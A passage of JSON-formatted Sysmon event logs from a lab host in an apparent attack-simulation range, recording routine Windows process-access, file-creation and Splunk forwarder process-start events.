C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010E8E10F00}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:40.369\r\nProcessGuid: {90617006-431C-5F2D-0000-0010E8E10F00}\r\nProcessId: 3632\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\e30-0\\System.Web.Entity.Design.dll\r\nCreationUtcTime: 2020-08-07 12:03:40.369","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:40.369","ProcessGuid":"{90617006-431C-5F2D-0000-0010E8E10F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\e30-0\\System.Web.Entity.Design.dll","CreationUtcTime":"2020-08-07 12:03:40.369","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-001001E70F00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-001001E70F00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-001001E70F00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-001001E70F00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-001001E70F00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-001001E70F00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-001046E10E00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-001046E10E00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-001046E10E00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-001046E10E00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.510\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-001046E10E00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.510","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-001046E10E00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:40.542\r\nProcessGuid: {90617006-431C-5F2D-0000-0010C2EE0F00}\r\nProcessId: 4604\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:40.542","ProcessGuid":"{90617006-431C-5F2D-0000-0010C2EE0F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 